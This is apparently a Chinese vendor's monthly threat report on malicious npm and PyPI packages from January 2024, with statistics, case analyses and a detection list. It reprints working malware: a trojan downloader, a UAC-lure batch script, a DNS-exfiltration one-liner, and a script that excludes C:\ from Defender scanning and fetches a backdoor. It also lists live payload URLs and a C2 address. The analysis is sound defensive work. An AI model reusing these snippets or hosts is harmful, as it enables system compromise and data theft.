供应链投毒预警 | 开源供应链投毒202401最新月报来啦!

原创
02/29 14:46
阅读数 34

概述

悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方法对潜在风险的开源组件包进行分析和监测,捕获大量开源组件恶意包投毒攻击事件。2024年1月份,悬镜供应链安全情报中心在Npm官方仓库(https://www.npmjs.com/)和Pypi官方仓库(https://pypi.org/)上共捕获675个不同版本的恶意投毒包,其中Npm仓库投毒占比90.48%, Pypi仓库投毒占比9.52%, 从每日捕获的投毒包数据来看,Npm仓库仍然是开源组件投毒的重灾区。

2024年1月份投毒包总量

2024年1月份投毒包每日统计

针对所有捕获的开源组件投毒包,我们结合源代码分析、动态行为监控等方法总结统计了投毒包的攻击方式和恶意行为。目前主流的投毒攻击方式包括:

  • 恶意文件执行
  • 代码混淆执行
  • 恶意文件下载
  • shell命令执行
  • 恶意文件释放
  • 恶意代码内存执行

其中,恶意文件执行是最常见的投毒攻击方式,占比高达77%,其攻击流程主要利用开源组件管理器在安装组件包过程中通过投毒者自定义的恶意指令来自动加载执行内置在组件包中的恶意代码文件(py、pyc、js、shell、pe、dll、elf、so等)。恶意文件下载和恶意文件释放后执行也是投毒者惯用的攻击手法之一。此外,部分开源组件投毒者会使用代码混淆、恶意代码内存执行等技术实施无文件投毒攻击,以此来躲避杀毒软件、EDR的安全防护检测。

 

在所有投毒包的恶意行为中,窃取系统信息占比超过83%,信息窃取的主要目标是开发者系统的密码文件、用户信息、网络配置、系统版本、DNS服务器IP、系统外网IP、浏览器cookie等敏感数据。其次,远控木马和反向shell后门也是投毒包常见的攻击目的。

意行为统计

 

投毒案例分析

本节将从2024年1月份捕获的开源组件投毒包中精选一些具有代表性的恶意包进行分析,还原投毒者惯用的攻击手法及动机。同时,也希望开发者能够理解投毒者的攻击思路,提高开发流程中的安全防护意识。

恶意程序下载执行

该攻击方式主要发生在包管理器安装或者投毒包加载时,投毒包中的恶意代码执行时会从远程服务器下载攻击者托管的下一阶段恶意程序(木马、后门等)到受害者系统上执行。

在1月份里,我们在pypi仓库中捕获多起http组件相关的投毒攻击事件,其中投毒包httpxs和update-requests主要针对开发者开展木马后门攻击。以pypi仓库的httpxs投毒包为例,该投毒包目标针对知名python开源组件httpx,尝试通过包名错误拼写(typo-squatting)来迷惑混淆python开发者。

 

投毒包httpxs通过克隆httpx v0.25.1版本源码,并将httpx 项目的__init__.py文件末尾植入恶意python代码;

 

投毒文件比对结果

当python项目错误加载恶意httpxs组件时,__init__.py中的恶意python代码将得到执行。

import requests
import subprocess
import threading
import os

path = os.environ["USERPROFILE"] + "\AppData\Local\explorer.exe"

def process() -> None:
    if os.path.exists(path):
        subprocess.run(path, shell=True)

def download() -> None:
    response = requests.get("https://cdn.discordapp.com/attachments/1167794996854915172/1176286066026750074/run_for_money.exe?ex=656e50c4&is=655bdbc4&hm=cca58d210eaf8cee1ba47b9d92f9ce5814998a785e827885331ab77ab5c6d587&")

    if response.status_code != 200:
        exit()

    with open(path, 'wb') as file:
        file.write(response.content)

def execute() -> None:
    thread = threading.Thread(target=process)
    thread.start()

download(); execute()

恶意代码进一步从以下恶意网址下载新的恶意程序(run_for_money.exe),写入到受害者windows系统中("C:\Users\{username}\AppData\Local\explorer.exe")并最终执行该恶意程序。恶意程序run_for_money.exe在virustotal上被多款杀毒引擎判定为木马后门。

https://cdn.discordapp.com/attachments/1167794996854915172/1176286066026750074/run_for_money.exe?ex=656e50c4&is=655bdbc4&hm=cca58d210eaf8cee1ba47b9d92f9ce5814998a785e827885331ab77ab5c6d587

virustotal检测结果

恶意程序释放执行

该攻击方式主要将恶意程序捆绑打包进投毒包中,或者直接将恶意程序代码编码(通常采用简单的base64、ascii等编码)转换为可显字符串后内嵌到投毒包代码文件中。当包管理器安装或投毒包加载时,投毒包中的恶意代码执行时会直接运行捆绑的恶意程序或者将内嵌编码后的恶意程序代码进一步解码释放后运行。

以npm仓库的edgecompatible投毒包为例,该投毒包捆绑了多个伪装成msedge浏览器组件的木马后门程序,其目标针对使用windows系统的npm开发者。

合法程序cookie_exporter.exe及木马程序msedge.dll

当npm项目开发中一旦加载edgecompatible投毒包, edgecompatible的index.js将执行bin/autorun.bat脚本。

index.js文件

// index.js
const { spawn } = require('child_process');
const path = require('path');
const os = require("os");

module.exports = {
    compat: function() {
      if (os.platform() === "win32") {
        const binaryPath = path.join(__dirname, 'bin', 'autorun.bat');
        const child = spawn(binaryPath, []);
        child.stdout.on('data', (data) => {
          console.log(`stdout: ${data}`);
        });
        
        child.stderr.on('data', (data) => {
          if(data.toString().indexOf("start-process") != -1)
          {
            console.log( "\x1b[31m%s\x1b[0m", "Can't access Microsoft Edge rendering engine.");
            process.exit();
          }
        });
        
        child.on('close', (code) => {
        });
      } else if (os.platform() === "linux") {
        console.log(
          "\x1b[31m%s\x1b[0m",
          "This script is running on Linux. Please run on Windows Server OS."
        );
      } else {
        console.log(
          "\x1b[31m%s\x1b[0m",
          "This script is running on an unrecognized OS. Please run on Windows Server OS."
        );
      }
    }
  };

bin/autorun.bat脚本首先通过执行“C:\Windows\System32\cacls.exe C:\Windows\System32\config\system”来判断当前用户是否拥有管理员权限,如果没有管理员权限则会进一步尝试通过执行powershell命令 ”powershell start-process ".\app\cookie_exporter.exe" -Verb RunAs” 来运行bin/app/Cookie_export.exe,该程序是合法的Microsoft Edge浏览器官方程序,主要目的是用来触发来用户账户控制(UAC)提示,并尝试欺骗受害者运行使用管理员权限来执行bin/app/Cookie_export.exe。

autorun.bat脚本

@echo off

pushd %~dp0

:: echo %~dp0
:: Check for administrator privileges
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"

:: If the previous command returned with an error, ask for elevated permissions
if %errorlevel% neq 0 (
    :: echo Requesting administrative privileges...
    :: Prompt for UAC elevation
    powershell start-process ".\app\cookie_exporter.exe" -Verb RunAs
    exit /b
)

:: The rest of your script goes here with administrator privileges

popd

一旦受害者允许使用管理员权限运行cookie_export.exe,该程序将优先加载同目录下的恶意DLL文件bin/app/msedge.dll来执行下一阶段的攻击,通过IDA逆向可确认cookie_export.exe运行时将动态加载msedge.dll

  

bin/app/msedge.dllvirustotal上被多款杀毒引擎判定位木马程序。实际上,bin/app/msedge.dll加载后会对bin/app/msedge.dat进一步解密释放出下一阶段的木马后门程序。

     

virustotal检测结果

恶意代码内存执行

该攻击方式主要发生在包管理器安装或者投毒包加载时,投毒包中的恶意代码执行时会动态分配一块可读可写可执行(RWX)的动态内存,并将恶意shellcode代码直接拷贝到RWX内存中执行,无恶意文件落盘行为,在一定程度上可以绕过基于文件系统的安全检测。通常shellcode代码也会被攻击者存储在一些合法的代码托管平台上。

以pypi仓库的httprequesthub为例,该投毒包和我们在2023年11月份捕获到的python http代理SDK投毒事件属于同一个投毒团伙。httprequesthub投毒包通过在安装包setup.py脚本中自定义egg_info命令(PostEggInfoCommand类)从远程服务器上拉取加密的恶意代码进行解密释放出第二阶段的shellcode攻击代码,shellcode代码直接在可读可写可执行的系统内存中执行,没有恶意程序文件落盘行为,具备较高的攻击隐蔽性。

setup.py文件

当开发者通过pip 包管理器下载或安装httprequesthub包时,PostEggInfoCommand的run函数将被调用执行第一阶段攻击代码。Run函数先将base64编码的url进行解码后通过urllib远程下载base64编码的恶意代码,最后会对恶意代码进行base64解码后调用subprocess.Popen启动新进程执行第二阶段的python攻击代码。

Base64编码的恶意代码url为:

aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vS2FyYXZheWV2QWxleGVpL2JkZjRmOWUyODA3MTRkODczMDNkNDkwOWQxOWRlM2E3L3Jhdy8zMTYzZTljOWZmNjE4YzUwYThkOGE5ZjYwMDUzYTM2ODM5ODVlMzUxL21hY2QuYjY0Cg==

解码后的恶意代码url为:

https://gist.github.com/KaravayevAlexei/bdf4f9e280714d87303d4909d19de3a7/raw/3163e9c9ff618c50a8d8a9f60053a3683985e351/macd.b64

解码后的第二阶段python攻击代码如下所示:

第二阶段攻击代码

第二阶段python攻击代码调用send函数先将base64编码的update_information_url进行解码后通过urllib远程下载第三阶段加密的恶意代码,最后会对恶意代码进行解密并调用eval执行进入第三阶段攻击代码。update_information_url解码后为:

https://gist.githubusercontent.com/tarasvlasov83/cf1ec403fac3f1cb8b23320c31042a67/raw/ff4be6e247d7698b401cfe31119d54167af875eb/aaaa.b64

第三阶段恶意代码解密还原后如下所示:

 

第三阶段攻击代码

第三阶段恶意代码会进一步通过base64解密和zlib解压内嵌的恶意代码,最终还原出第四阶段python攻击代码:

  第四阶段攻击代码

第四阶段攻击代码被混淆处理,其大致逻辑是通过调用python ctypes库动态分配一段可读可写可执行的RWX系统内存,并将内置加密压缩后的shellcode代码解密释放到RWX内存上,最后直接控制PC寄存器跳转到RWX内存中执行第五阶段shellcode攻击代码。

去混淆后的第四阶段攻击代码如下所示(这部分攻击代码和我们2023年11月份发现的HTTP代理SDK投毒攻击代码完全一致):

第四阶段攻击代码还原

通过IDA逆向第五阶段shellcode攻击代码(shellcode_stage1),伪代码如下所示,shellcode先调用系统接口分配一块可读可写可执行的RWX内存,接着将异或编码后的shellcode解码释放到RWX内存中执行下一阶段攻击。

shellcode_stage1逆向

通过逆向分析可发现第五阶段攻击代码shellcode_stage1执行后,需要连续经过16轮 shellcode解码释放操作,最终才会释放出真实的攻击代码shellcode_stage17。

从shellcode_stage1到shellcode_stage17阶段的代码都是直接在系统内存上执行,不在文件系统中生成恶意代码。shellcode_stage17攻击代码最终负责和攻击者的C2服务器3478.qt-api-worker-threads.workers.dev进行通信。

shellcode_stage17逆向

virustotal恶意url检测

反向shell后门

该攻击方式主要针对Linux系统开发环境,攻击者通常在投毒包中直接内置恶意shell命令或者通过脚本代码执行shell命令,以此方式将开发者系统shell反弹到攻击者控制的特定服务器端口上,开发者一旦通过包管理器安装或者加载投毒包时,反弹shell的恶意代码将自动执行,导致开发者系统被攻击者远程shell控制。

以pypi仓库tensrflwo投毒包为例,攻击者利用包名错误拼写 (typo-squatting)的投毒方式来仿冒谷歌开源的深度学习框架tensorflow来攻击AI开发者。tensrflwo安装包setup.py中定义的taint2()函数通过创建子进程将受害者系统shell反连到投毒者控制的服务器上(59.110.111.85:8088),一旦开发者通过pip包管理器下载或者安装投毒包tensrflwo时, setup.py中的恶意函数tain2()将被调用执行,最终导致开发者系统被攻击者远程shell控制。

setup.py文件

详细分析请参考:供应链投毒预警 | 恶意Py包仿冒tensorflow AI框架实施后门投毒攻击

DNS查询外传敏感信息

该攻击方式是一种较为隐蔽的信息窃取手法,通常在包管理器安装或者加载投毒包时自动执行用于收集受害者系统敏感数据的shell命令或脚本代码,收集到的敏感数据会被分块编码后,再通过发送DNS查询请求将编码后的敏感数据发送到攻击者控制的DNS服务器上。攻击者可从DNS服务器查询记录中将受害者系统的敏感数据提取并还原。

以npm仓库的投毒包identity-auth为例, identity-auth利用package.json中preinstall指令在安装包过程中自动执行index.js,index.js先通过系统shell命令收集敏感信息(主机名、工作目录、用户名以及系统外网出口IP),其次对收集到的数据进行16进制字符编码,并按照最大60字节长度进行字符分段切块;接着依次将切块数据和攻击者控制的域名(m4rwxmtkqz5wk2d1gfpk7fcqhhn8byzn.oastify.com)拼接后,最后通过nslookup命令查询拼接后的DNS地址。

package.json及index.js代码


const { exec } = require("child_process");
exec("a=$(hostname;pwd;whoami;echo 'identity-auth';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.m4rwxmtkqz5wk2d1gfpk7fcqhhn8byzn.oastify.com;done" , (error, data, getter) => {
  if(error){
    console.log("error",error.message);
    return;
  }
  if(getter){
    console.log(data);
    return;
  }
  console.log(data);
  
});

模拟投毒者生成包含系统敏感数据的DNS地址,攻击者通过分析DNS服务器查询日志即可将受害者系统敏感数据依次提取后进行解码还原。

敏感数据切割分块

恶意代码混淆

为了躲避静态代码分析检测,攻击者会对投毒包中的恶意代码进行变形混淆。例如npm仓库的投毒包noblox.js-proxy-server,该投毒包伪装成github项目noblox/noblox.js(https://github.com/noblox/noblox.js.git)进行投毒攻击,主要通过在package.json中定义postinstall指令,postinstall指令在安装投毒包时将自动触发执行包含混淆代码的postinstall.js恶意文件。

package.json及postinstall.js文件

通过对混淆代码进行解混淆,可以还原出关键的恶意代码,如下图所示。

postinstall.js混淆代码还原

恶意代码首先从以下恶意网址下载bat文件保存到c:\winapi\WindowsApiLib.bat并执行。

https://cdn.discordapp.com/attachments/1193294801299325020/1196958183533580478/1.bat

WindowsApiLib.bat文件

@echo off
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
if not "%1"=="am_admin" (
  powershell -Command "Start-Process -Verb RunAs -FilePath '%0' -ArgumentList 'am_admin'"
  exit /b
)
set "scriptDir=%~dp0"
powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
TIMEOUT /T 5
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://1f2a857a-7153-42a6-8363-becc7ed94b49-00-1vtxb7rs21ezi.spock.replit.dev/download', 'C:\WindowsApi\WindowsApi.exe')"
start "" "C:\WindowsApi\WindowsApi.exe"
taskkill /IM cmd.exe
exit

WindowsApiLib.bat会进一步从以下恶意网址下载木马后门程序保存到C:\WindowsApi\WindowsApi.exe并执行。

https://1f2a857a-7153-42a6-8363-becc7ed94b49-00-1vtxb7rs21ezi.spock.replit.dev/download

木马后门程序WindowsApi.exe

排查方式

截至目前,大部分恶意投毒包在国内主流镜像源中仍然可正常下载。针对文中分析的恶意投毒包,开发者可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件(可参考总结中提到的组件包信息按格式增减),直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到文中所披露的投毒包的影响。

[
  {
    "product": "httpxs",
    "version": "[0.0.1,0.0.1]",
    "language": "python",
    "id": "XMIRROR-MAL45-4856A664",
    "description": "Python恶意投毒包 httpxs",
    "release_date": "2024-01-28"
  },
  {
    "product": "update-requests",
    "version": "[0.0.1,0.0.1]",
    "language": "python",
    "id": "XMIRROR-MAL45-CA5ED059",
    "description": "Python恶意投毒包 update-requests",
    "release_date": "2024-01-28"
  },
  {
    "product": "edgecompatible",
    "version": "[2.3.4,2.3.4]",
    "language": "javascript",
    "id": "XMIRROR-MAL45-921FB751",
    "description": "NPM恶意投毒包 edgecompatible",
    "release_date": "2024-01-31"
  },
  {
    "product": "httprequesthub",
    "version": "[2.31.4,2.31.4]||[2.31.0,2.31.0]||[2.31.1,2.31.1]||[2.31.3,2.31.3]",
    "language": "python",
    "id": "XMIRROR-MAL45-5915236F",
    "description": "Python恶意投毒包 httprequesthub",
    "release_date": "2024-01-03"
  },
  {
    "product": "tensrflwo",
    "version": "[2.5.1,2.5.1]||[2.7,2.7]||[2.7.1,2.7.1]||[2.8,2.8]||[2.9,2.9]",
    "language": "python",
    "id": " XMIRROR-MAL45-777DD586",
    "description": " Python恶意投毒包 tensrflwo",
    "release_date": "2024-01-15"
  },
  {
    "product": "identity-auth",
    "version": "[10.999.0,10.999.0]||[9.999.0,9.999.0]||[8.999.0,8.999.0]||[7.999.0,7.999.0]",
    "language": "javascript",
    "id": "XMIRROR-MALF5-F9282613",
    "description": "NPM恶意投毒包 identity-auth",
    "release_date": "2024-01-30"
  },
  {
    "product": "noblox.js-proxy-server",
    "version": "[4.15.4,4.15.4]||[4.15.3,4.15.3]||[4.15.2,4.15.2]||[4.15.1,4.15.1]",
    "language": "javascript",
    "id": "XMIRROR-MAL45-52114A88",
    "description": "NPM恶意投毒包 noblox.js-proxy-server",
    "release_date": "2024-01-18"
  }
]

总结

根据2024年1月份捕获的开源组件投毒统计数据以及分析报告来看,投毒攻击手法和动机呈现多样化趋势。NPM是投毒者的重点目标,敏感数据窃取仍为主流攻击动机。此外,投毒者开始利用代码内存执行、代码混淆等安全对抗技术来躲避安全检测,这对于投毒包检测来说将面临更大的挑战。

悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。

 

 

 

 

展开阅读全文
加载中
点击引领话题📣 发布并加入讨论🔥
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部